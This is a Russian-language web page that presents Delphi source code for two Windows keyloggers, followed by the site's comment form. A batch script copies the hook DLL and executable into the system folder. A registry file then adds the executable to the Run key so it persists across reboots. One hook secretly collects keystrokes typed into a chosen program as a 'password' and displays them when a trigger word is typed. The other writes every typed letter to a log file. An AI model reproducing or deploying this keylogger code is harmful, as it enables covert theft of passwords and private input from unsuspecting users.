Содержание материала

 

· Setup.bat

 

Code:

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

 

 

· HookAgnt.reg

 

Code:

REGEDIT4

 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

  

· KbdHook.dpr

 

Code:

program cwbhook;

 

uses

Windows, Dialogs;

 

var

hinstDLL: HINST;

hkprcKeyboard: TFNHookProc;

msg: TMsg;

 

begin

hinstDLL := LoadLibrary('HookAgnt.dll');

hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

repeat

until

   not GetMessage(msg, 0, 0, 0);

end.

 


HookAgnt.dpr

 

Code:

library HookAgent;

 

uses

Windows, KeyboardHook in 'KeyboardHook.pas';

 

exports

KeyboardProc;

 

var

hFileMappingObject: THandle;

fInit: Boolean;

 

{----------------------------\

| |

| DLL_PROCESS_DETACH |

| |

\----------------------------}

 

procedure DLLMain(Reason: Integer);

begin

if Reason = DLL_PROCESS_DETACH then

begin

   UnmapViewOfFile(lpvMem);

   CloseHandle(hFileMappingObject);

end;

end;

 

{----------------------------\

| |

| DLL_PROCESS_ATTACH |

| |

\----------------------------}

 

begin

DLLProc := @DLLMain;

 

hFileMappingObject := CreateFileMapping(

THandle($FFFFFFFF), // use paging file

nil, // no security attributes

PAGE_READWRITE, // read/write access

0, // size: high 32 bits

4096, // size: low 32 bits

'HookAgentShareMem' // name of map object

);

 

if hFileMappingObject = INVALID_HANDLE_VALUE then

begin

   ExitCode := 1;

   Exit;

end;

 

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

 

lpvMem := MapViewOfFile(

hFileMappingObject, // object to map view of

FILE_MAP_WRITE, // read/write access

0, // high offset: map from

0, // low offset: beginning

0 // default: map entire file

);

 

if lpvMem = nil then

begin

   CloseHandle(hFileMappingObject);

   ExitCode := 1;

   Exit;

end;

 

if fInit then

   FillChar(lpvMem, PASSWORDSIZE, #0);

 

end.

 


KeyboardHook.pas

 

Code:

unit KeyboardHook;

 

interface

 

uses

Windows;

 

const

PASSWORDSIZE = 16;

 

var

g_hhk: HHOOK;

g_szKeyword: array[0..PASSWORDSIZE-1] of char;

lpvMem: Pointer;

 

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT; stdcall;

 

implementation

 

uses

SysUtils, Dialogs;

 

function KeyboardProc(nCode: Integer; wParam: WPARAM;

lParam: LPARAM ): LRESULT;

 

var

szModuleFileName: array[0..MAX_PATH-1] of Char;

szKeyName: array[0..16] of Char;

lpszPassword: PChar;

 

begin

lpszPassword := PChar(lpvMem);

 

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then

begin

   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

 

   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

     lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

 

   lstrcat(g_szKeyword, szKeyName);

 

   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

 

   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and

   (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

     lstrcat(lpszPassword, szKeyName);

 

   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then

   begin

     ShowMessage(lpszPassword);

     g_szKeyword[0] := #0;

   end;

 

   Result := 0;

end

else

   Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

 

end.

 

 


Code:

library Hook;

uses Windows, SysUtils;

const KF_UP_MY = $40000000;

var CurrentHook: HHook;

   KeyArray: array[0..19] of char;

   KeyArrayPtr: integer;

   CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:

integer): longword; stdcall;

var

i:integer;

begin

if code< 0 then

  begin

    result:=CallNextHookEx(CurrentHook,code,wParam,lparam);

    Exit;

  end;

if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then

   begin

     KeyArray[KeyArrayPtr]:=char(wParam);

     KeyArrayPtr:=KeyArrayPtr+1;

     if KeyArrayPtr> 19 then

      begin

       for i:=0 to 19 do

       begin

         Assignfile(CurFile,'d:\log.txt');

         if fileexists('d:\log.txt')=false then rewrite(CurFile)

         else Append(CurFile);

         write(Curfile, KeyArray[i]);

         closefile(curfile);

       end;

       KeyArrayPtr:=0;

      end;

   end;

   CallNextHookEx(CurrentHook,code,wParam,lparam);

   result:=0;

end;

procedure SetupGlobalKeyBoardHook;

begin

CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);

KeyArrayptr:=0;

end;

procedure unhook;

begin

UnhookWindowshookEx(CurrentHook);

end;

 

exports

SetupGlobalKeyBoardHook, UnHook;

begin

end.

 

Добавить комментарий

Не использовать не нормативную лексику.

Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.

ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!


Защитный код
Обновить